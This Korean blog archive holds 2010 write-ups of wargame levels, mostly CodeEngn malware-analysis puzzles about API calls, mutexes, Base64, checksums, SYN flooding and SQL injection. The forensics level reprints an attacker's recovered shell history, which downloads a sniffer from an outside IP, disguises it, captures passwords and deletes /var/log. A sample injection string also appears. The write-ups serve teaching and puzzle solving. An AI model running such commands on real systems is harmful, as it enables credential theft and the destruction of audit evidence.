2010.05.30 14:34 WarGame

드디어 마지막 단계로군요

마지막인 만큼 분량도 대단합니다

문제는  ' 다른 악성코드를 실행하는 함수의 주소를 찾아라 ' 인데



뒤적거려야 하는 함수 개수가 장난이 아닙니다

일일히 하나씩 분석하면서 어떤 역할을 하는지 알아보기엔 너무 오래걸리겠죠

문제의 목적인 '다른 악성코드를 실행' 한다에 포커스를 두시면 쉽게 푸실 수 있습니다

특정 프로그램을 실행하는 API 를 찾으시면 굉장히 쉽게 풀 수 있겠죠



여러분도 발견하셨나요? :D


어때요 참 쉽죠?

'WarGame' 카테고리의 다른 글

[ CodeGate 2010 ] Challenge 7 풀이  (2) 2010.06.21
[ Python Challenge ] level 15  (0) 2010.06.08
[ CodeEnge Malware Analysis ] level 8  (0) 2010.05.30
[ CodeEnge Malware Analysis ] level7  (0) 2010.05.30
[ CodeEngn Malware Analysis ] level6  (0) 2010.05.30
[ CodeEnge Malware Analysis ] level5  (0) 2010.05.27
Posted by LinkC

댓글을 달아 주세요

2010.05.30 13:52 WarGame


다음은 악성코드 Flow의 일부분이다.
분석결과 이 악성코드는 특정 사이트에 접속을 시도 하고 있는데
접속이 안될경우 몇초 단위로 재접속을 한다.
몇ms 단위로 재접속을 하는가

Flow 의 경우 level6 에서 달라진 점이 없네요

특정 시간 단위로 재접속을 한다고 하는데

이때 대표적으로 쓰이는게

Sleep, WaitFor ... 함수가 있겠죠

Flow 가 크지 않으니 눈으로 직접 확인하셔도 2개만 쓰인것을 볼 수 있고

둘 중 하나가 정답입니다

' 몇 ms 단위로 재접속을 하는가 ' 가 문제이니까

접속이 안될 경우 접속이 될 때 까지 반복을 해야 할 것이고

이는 반복문으로 이루어져있겠죠





포착하셨나요?

그게 정답입니다 :D


'WarGame' 카테고리의 다른 글

[ Python Challenge ] level 15  (0) 2010.06.08
[ CodeEnge Malware Analysis ] level 8  (0) 2010.05.30
[ CodeEnge Malware Analysis ] level7  (0) 2010.05.30
[ CodeEngn Malware Analysis ] level6  (0) 2010.05.30
[ CodeEnge Malware Analysis ] level5  (0) 2010.05.27
[ CodeEnge Malware Analysis ] level4  (0) 2010.05.26
Posted by LinkC

댓글을 달아 주세요

2010.05.30 13:20 WarGame


다음은 악성코드 Flow의 일부분이다.
이 프로그램의 Thread Mutex는 무엇인가



Thread Mutex 라

그럼 먼저 CreateMutex 함수를 주의 깊게 봐야겠죠

다음은 CreateMutex 함수의 원형입니다




lpMutexAttributes : SECURITY_ATTRIBUTES 구조체 주소를 넘겨줍니다

자식 프로세스에 핸들을 넘겨줄때 입력해줍니다

NULL 이면 핸들을 넘겨주지 않구요

보통 NULL을 넣습니다



IntialOwner : 초기 상태의 뮤텍스 소유권을 지정합니다

1이면 작성 스레드의 소유가 되며 ,Non-Signal 상태가 됩니다

0이면 소유권 지정을 하지 않고, Signal 상태가 됩니다

그러니까 , 스레드에 소유되고 있는 경우는 Non-Signal 상태.

그렇지 않은 경우는 Signal 상태가 된다는 거죠

이때 기존 뮤텍스에 대해서 소유권을 가지려면, 대기 함수 등을 쓰는데요

Ex) WaitForSingleObject , WaitForMultiObjects

이 함수들은 뮤텍스가 Signal 상태가 될떄까지 대기합니다



lpName : 뮤텍스 오브젝트를 식별하는 이름입니다



Flow를 보시면 CreateMutex 는 초반에 한번

분기점을 지나 오른쪽에서 다시 한번 호출하는 것을 볼 수 있습니다

첫번째 경우는




보시면 알겠지만 CreateMutex 이후에 GetLastError 를 호출하여

값을 0xB7과 비교하는 것을 볼 수 있는데요

이를 System Error Code 와 비교해보시면




이미 생성된 것인가를 비교하는 루틴임을 확인 할 수 있습니다

즉, 위 CreateMutex는 프로그램의 다중 실행을 방지하기 위한 것임을 알 수 있죠

문제에서 원하는 답변은 Thread Mutex 니까, 아마 후자의 CreateMutex를 보면 되겠죠

2번째 CreateMutex의 이름을 확인해보시면 답이 나옵니다 :D

Posted by LinkC

댓글을 달아 주세요

2010.05.27 18:33 WarGame

다음 소스 코드의 목적을 파악하는 문제입니다




특정 문자열 Table 을 주고 조건에 맞는 문자를 뽑아서 쓰는군요

변수명도 그냥 넘겨보시지 않았다면

encodeed  라는 것을 보셨을 겁니다

이를 통해 암호화 쪽이라는 것을 짐작 할 수가 있죠

encrypt , encryption 등을 정답으로 처봤지만 그건 아닌 모양입니다

아무래도 구체적인 암호화 기법을 원하는거 같네요

소스 코드를 보면 힌트는 아주 충분히 있습니다

Table 의 키 개수가 64개 라는점

3자씩 끊어서 encoding 했다는 점

Output 은 4자가 나온다는 점..


이 기법을 이용한 코드를 짜봤습니다




감이 좀 오시나요?

그러니까 이 기법의 원리는

1. 3바이트씩 끊습니다

2. 끊은 바이트를 4곳에 나누어 넣습니다

3. 나누어 넣은 것을 연산하여 Table 에서 찾습니다


* 이 때, 전체 문자열이 3으로 나누어 떨어지지 않으면 

나누어 넣은 곳은 = 로 채워 넣습니다


아래 그림은 이를 잘 나타냈군요





그림 출처:  www.blueiblog.com/ko/archives/1488

Posted by LinkC

댓글을 달아 주세요

2010.05.26 11:58 WarGame


APM(Apache, PHP, MySQL) 환경의 사이트를 운영중인 L씨
현재 SQL Injection 악성코드의 공격을 받고 있다
PHP 설정파일에서 어떤 옵션을 설정해야 안전한가


가 문제입니다

구글링을 해도 쉽게 나오고, 자신이 직접 서버를 설치하여 써보신 분이라면

금방 알아채실 수 있을건데요

php.ini 파일에서 이 옵션을 On, Off 시킬수 있죠

이 옵션은 GET, POST, COOKIE Method로 넘어온 값들에 대해서

Quotes, 그러니까 [ ' , " , \ , 널문자 ] 가 있을때 \ 를 붙여주는 기능을 합니다


예를 들어, 간단한 SQL injection 인

' or 1=1--

같은 경우도 \' or 1=1-- 로 변해버리기 때문에

공격자가 원하던 결과는 낼 수 없다는 것이죠

이와 비슷한 기능을 하는 함수가 

addslashes()

반대 기능이

stripslashes()


입니다. 참조하시면 좋을듯 하네요




Posted by LinkC

댓글을 달아 주세요

2010.05.26 11:25 WarGame


level 3도 주어진 소스를 보고

그 소스가 의도한 것이 무엇인지 맞추는 문제입니다



level1,2 에 비해서는 짧은 코드군요

천천히 분석해봅시다

먼저 unsigned short 타입의 배열과 길이를 받아옵니다

for 문이 있는 5-6 번째에서는

길이에서 1bit 만큼 오른쪽으로 이동시키고 value 에 data를 더해줍니다


이게 무슨 소릴까요

예를 들면,

3 = 011 -> 01 = 1

4 = 100 -> 10 = 2

5 = 101 -> 10 = 2

6 = 110 -> 11 = 3

대충 감이 오시나요?

길이를 절반으로 나누고 있죠

홀수인 경우라면 나머지를 버리구요

그 다음엔 어떤 연산이 일어나나 볼까요?

if 문에서 홀수인 경우에 한하여 추가연산을 해주고 있습니다

이는 홀수의 가운데 수를 8 bit 만큼 왼쪽 이동시킨다음에 value 에 더해주고 있구요

길이와 헷갈리시면 안되겠죠 ~

예를 들어,

3 = 011 -> 10000000

4 = 100 -> 00000001

입니다

9번째 줄을 보면..

65535와 and 연산을 해주고 16bit 만큼 오른쪽으로 이동한 값과 더해줍니다

이게 무슨 말인가 하면

65535는 16진수로 FFFF 입니다

value 의 전체 크기는 4byte 이구요

먼저 FFFF가 2byte 니까, value의 하위 2byte 값이 그대로 나오겠죠

거기에 2byte 만큼 오른쪽으로 이동하면, 남겨진 상위 2byte 값이 나옵니다

즉, 상위 2byte 와 하위 2byte 를 합한다

정도가 되겠군요

마지막으로 이 값을 NOT 연산 시킵니다




그런데 이 연산이 대체 무엇을 목적으로 이루어졌을까요?

넣어주는 값이 얼마가 되었던 4byte 의 value 를 리턴해줍니다

그리고 그 값은 1bit만 달라도 값이 완전히 달라질수도 있죠

오류 검출, 정정에 효과를 볼 수 있지 않을까요?

아직  감이 안오시는 분은 이 글을 참조하시면 도움이 될겁니다

http://navercast.naver.com/science/math/732

오류 검출에 포커스를 맞추시고 곰곰히 생각해보시면

떠오르는 그것이 정답입니다 :D




Posted by LinkC

댓글을 달아 주세요

2010.05.25 15:46 WarGame


침입한 해커가 log 등이 삭제된 서버의 img 파일이 주어졌네요

포렌식분야군요

해커가 완벽히 로그를 지우지 않았다면

툴을 이용해 쉽게 내용을 볼 수 있을 겁니다

이러한 툴 종류는 여러가지가 있겠지만

여기서는 Access Data 의 FTK imager 를 써보겠습니다

http://www.accessdata.com/downloads.html

에서 ftk imager 를 받아보실 수 있구요

설치하시고 해당 이미지 파일을 로드 시키면

다음과 같은 모습을 볼 수 있습니다




혹시나 해서 /var/log 폴더를 찾아봤지만 삭제된 상태

/etc/passwd 나 /shadow 폴더도 찾아볼 수 없었습니다

하긴 후자 폴더의 경우는 문제가 의도한 바와는 좀 어긋날 수 있겠죠

아무튼

unallocated space 부분을 보면

몇가지 파일이 남아있습니다

이를 통해서 문제를 풀라 이거겠죠





8개 파일이 있는데

그중에 12792는 웹서버의 로그고

43983은 특정 사용자의 명령어 로그가 남아있네요

 발견하셨다면 반 이상은 푸신거나 다름없죠
ls -al
cd /usr/local/bin
ls -al
id
uname -a
pwd
cd /
ls -al
cat /etc/services
cd /usr/local/lib/python2.6/
wget 192.168.2.108/sniffit
chmod 755 spsn
mv sniffit perlxml
ls -al
ls -al /usr/local/lib/python2.6/
./perlxml -b -t 192.168.2.180 -R /usr/local/lib/python2.6/configx.py -F em0&
ls -alp /usr/local/lib/python2.6/
rm -rf /var/log/
ls -al /var/log/
exit
 

 python2.6 폴더에 sniffit을 받습니다

그리고 이름을 perlxml 로 바꾸고 sniffing 을 시작하죠

관리자가 접속하려 했다면 이때 걸렸을 겁니다

결과는 configx.py 에 저장이 되었고

이후에 로그를 지우는군요

흠 그러니까 캡쳐된 패킷이 어딘가 남아있고, 이를 분석하면 답이 나올껍니다

하지만 이 역시 python 2.6 폴더엔 없고 , unallocated space 에 있는거 같습니다

 elf 파일을 제외하곤 남은게 57224 파일 밖에 없군요

http://wiki.wireshark.org/Development/LibpcapFileFormat

에서 pcap 파일의 Magic Number 를 확인하셔도 되구요

아무튼 그 파일을 export 시켜서 pcap 로 확장자를 변환해주면

WireShark 로 파일을 읽을 수 있게 됩니다

패킷을 뒤적이다 보면 다음과 같이..Sniffing 한 패킷을 볼 수 있습니다



이후에 패스워드가 한자씩 담겨있고 이를 모으면 완성이죠


이런 툴이 싫으시다면

이미지 파일에서 직접 추출하실수도 있습니다

짐작이 가는 string을 찾으시면 되겠죠

로그를 지웠다고 했으니까 rm -rf /var/log 이런식으로 말이죠

거기에 있는 log를 통해 명령어를 보시고

sniffing  툴이 깔린걸 바탕으로 , pcap 파일이 있다는 걸 유추하시면 됩니다

pcap 의 Magic Number 를 search 하셔서 Hex 값을 쭉 뽑아내셔서 마찬가지로

WireShark 로 분석하시면 끗!



Posted by LinkC

댓글을 달아 주세요

  1. CodeBreaker 2010.05.27 11:52  댓글주소  수정/삭제  댓글쓰기

    참 쉽죠잉?

  2. 2010.06.27 20:58  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

  3. 2010.07.04 00:01  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

  4. 2011.02.17 13:10  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

    • LinkC 2011.02.21 00:07 신고  댓글주소  수정/삭제

      죄송합니다

      최근에 포맷을 하다가 문제 파일이 날아가버렸네요 :(

      다시 한번 사과의 말씀을 드립니다

    • 2011.04.20 18:53  댓글주소  수정/삭제

      비밀댓글입니다

    • LinkC 2011.04.22 18:13 신고  댓글주소  수정/삭제

      힘든 부탁이라뇨 :)

      파일 관리를 못했던 제탓입니다

      혹시 다른 파일 필요하시면 말씀해주세요

      있다면 꼭 보내드리도록 하겠습니다

      좋은 말씀감사합니다 , 항상 노력할게요!

2010.05.25 10:33 WarGame


level2는 주어진 소스를 보고 무엇을 공격하는지 알아내는 것으로

level1 과 비슷한 타입입니다






1-4 번째 줄 보고 바로 감이 오더군요

'DAV' 때문에 말이죠


Posted by LinkC

댓글을 달아 주세요

2010.05.24 11:34 WarGame


악성코드 분석은 딱히 해본적이 없는거 같아서

잡아보게 됐습니다

근래 Python 코드만 보다가 C언어 줄줄 써져있는거 보니

눈이 팽팽 돌아가던군요 -.-

그 소스 입니다





이 소스를 보고 공격 방법을 알아내는게 1번 문제의 목표군요

3 - 8 번째 줄을 보시면

TCP/IP Header 값을 설정하시는 것을 볼 수 있구요

그 다음 while 문 부터가 본격적인 과정인거 같군요

변수 명을 보면 DDOS, SpoofIP 등이 등장합니다

아쉽게도 이게 답은 아닙니다 -.-

42 - 44번째를 보시면

Port 를 1000 - 10000번째에서 임의로 선택하고

IP 도 임의로 설정해서 목적 IP로 패킷을 보내는 것을 볼 수 있습니다

목적은 타겟 IP 의 서비스를 방해하는 것으로 쉽게 알아 챌 수 있죠

그럼, 구체적인 공격방식은 뭘까요

그에 앞서 , Client 와 Server 간 통신 방식인

3 Way Hand Shaking 을 살펴보겠습니다






여기서 연관지어 볼 점은

임의로 생성된 IP가 Client 일 때 입니다

그 IP가 Client 가 되면 어떻게 될까요?

물론, 서버로의 Syn seq은 전달되고, 서버에서는 이를 받고

ack를 보내게 됩니다

하지만 보내는건, 공격자에서 해줬다지만

ack 도 공격자로 가게 될까요 , 아니면 임의로 생성된 IP로 갈까요?

이를 이해하시면, 정상적으로 통신이 되지 않는 것을 알 수 있으실겁니다

바로 이 방식이 이 공격 방식의 핵심인데요

정보보안 개론 책에서 본 말로 인용을 하자면

급수대에 수도꼭지가 몇 개 있는데

손오공이 머리카락을 몇개 뽑아 분신을 만들어 그 수도꼭지를 다 차지해버린 꼴입니다

다른 사람은 수도꼭지를 이용 할 수 없는 상황이죠


이해가 가시나요?



Posted by LinkC

댓글을 달아 주세요

2010.05.20 10:56 WarGame


간만에  Python Challenge 포스팅을 하네요

문제 풀이 바로 들어갑니다




소스를 보면..







Title 은 Walk around 고

왠 빵 사진이 있고

그 아래 핵심 문제로 보이는 이상한 바코드 같은 사진이 있습니다

이름은 wire.png. Size 는 100* 100 이군요

위에 주어진 힌트 Remember 를 참조해볼때

저 wire.png 를 수정하는게 아마 이 문제에서 원하는 거겠죠

처음엔 다소 난해할 수 있는데

위의 빵 사진을 주의깊게 보시면 곧 이해하실 수 있을 겁니다

빵 사진이 나선형을 그리고 있는것과 remember  부분을 캐치 하셨다면

문제 풀이도 훨씬 쉬어집니다

wire.png 를 받아보면 사실 실제 그림파일은 10000*1 이라는 것을 알게 됩니다

이 파일을 나선형으로 고치면 답이 나오지 않을까요?

remember 에서의 숫자는 이동하는 칸 수라고 보시면 이해하시기 수월하실겁니다

바깥에서부터 안쪽으로 계속 나선을 그리면서 들어가게 되는 형식이죠

그러니까

100, 99, 99 , 98 , 98 , 97 , 97 이런식으로 2회당 1번 1씩 줄어들도록 짜야 합니다

물론 방향은 1회당 1번씩 바꾸구요

이를 바탕으로 소스 코드를 짜면...



Posted by LinkC

댓글을 달아 주세요

이전버튼 1 2 3 4 5 이전버튼

블로그 이미지
LinkC

태그목록

Tistory Cumulus Flash tag cloud by BLUEnLIVE requires Flash Player 9 or better.

공지사항

Yesterday31
Today9
Total333,198

달력

 « |  » 2019.10
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31    

최근에 받은 트랙백

글 보관함


. .